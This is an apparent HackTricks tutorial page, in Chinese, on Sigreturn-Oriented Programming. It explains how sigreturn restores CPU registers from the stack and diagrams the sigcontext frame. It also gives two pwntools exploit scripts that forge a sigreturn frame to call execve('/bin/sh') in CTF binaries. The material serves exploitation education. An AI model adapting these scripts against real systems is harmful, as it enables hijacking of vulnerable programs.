SROP - Sigreturn-Oriented Programming

支持 HackTricks

基本信息

Sigreturn 是一种特殊的 syscall,主要用于在信号处理程序完成执行后进行清理。信号是操作系统发送给程序的中断,通常用于指示发生了一些异常情况。当程序接收到信号时,它会暂时暂停当前工作,以通过 信号处理程序 处理信号,这是一种专门设计用于处理信号的函数。

在信号处理程序完成后,程序需要 恢复其先前状态,就像什么都没有发生一样。这就是 sigreturn 发挥作用的地方。它帮助程序 从信号处理程序返回,并通过清理信号处理程序使用的栈帧(存储函数调用和局部变量的内存部分)来恢复程序的状态。

有趣的是 sigreturn 是如何恢复程序状态的:它通过将 所有 CPU 的寄存器值存储在栈上 来实现。当信号不再被阻塞时,sigreturn 从栈中弹出这些值,有效地将 CPU 的寄存器重置为处理信号之前的状态。这包括指向当前栈顶的栈指针寄存器 (RSP)。

从 ROP 链中调用 syscall sigreturn添加我们希望加载到栈中的寄存器值,可以 控制 所有寄存器值,因此 调用 例如 syscall execve/bin/sh

注意这将是一种 Ret2syscall 类型,使得控制参数以调用其他 Ret2syscalls 变得更加容易:

Ret2syscall

如果你感兴趣,这是 sigcontext 结构 存储在栈中以便后续恢复值(图来自 这里):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

为了更好的解释,请查看:

示例

您可以在这里找到一个示例,其中通过 ROP 构造对 signeturn 的调用(将值 0xf 放入 rxa),尽管这只是最终的利用:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

检查此处的漏洞,其中二进制文件已经调用了sigreturn,因此不需要使用ROP来构建它:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

其他示例与参考

支持HackTricks

Last updated